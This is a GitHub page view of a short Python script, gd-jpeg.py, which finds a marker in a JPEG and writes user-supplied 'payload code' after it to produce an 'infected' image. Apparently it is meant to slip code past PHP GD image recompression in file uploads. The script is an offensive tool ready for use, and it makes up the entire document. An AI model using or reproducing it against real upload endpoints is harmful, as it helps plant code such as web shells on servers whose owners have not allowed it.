-
Notifications
You must be signed in to change notification settings - Fork 128
/
Copy pathgd-jpeg.py
53 lines (42 loc) · 1.53 KB
/
gd-jpeg.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
import sys
import binascii
import os
MAGIC_NUMBER = "03010002110311003f00"
BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER)
def main():
path_to_vector_image = sys.argv[1]
payload_code = sys.argv[2]
path_to_output = sys.argv[3]
with open(path_to_vector_image, 'rb') as vector_file:
bin_vector_data = vector_file.read()
print("[ ] Searching for magic number...")
magic_number_index = find_magic_number_index(bin_vector_data)
if magic_number_index >=0:
print("[+] Found magic number.")
with open(path_to_output, 'wb') as infected_file:
print("[ ] Injecting payload...")
infected_file.write(
inject_payload(
bin_vector_data,
magic_number_index,
payload_code))
print("[+] Payload written.")
else:
print("[-] Magic number not found. Exiting.")
def find_magic_number_index(
data: bytes) -> int:
return data.find(BIN_MAGIC_NUMBER)
def inject_payload(
vector: bytes,
index: int,
payload: str) -> bytes:
bin_payload = payload.encode()
pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)]
post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):]
return (pre_payload + bin_payload + post_payload)
if __name__ == "__main__":
if len(sys.argv) != 4:
print("USAGE: <jpeg file path> <payload code> <output path>")
else:
main()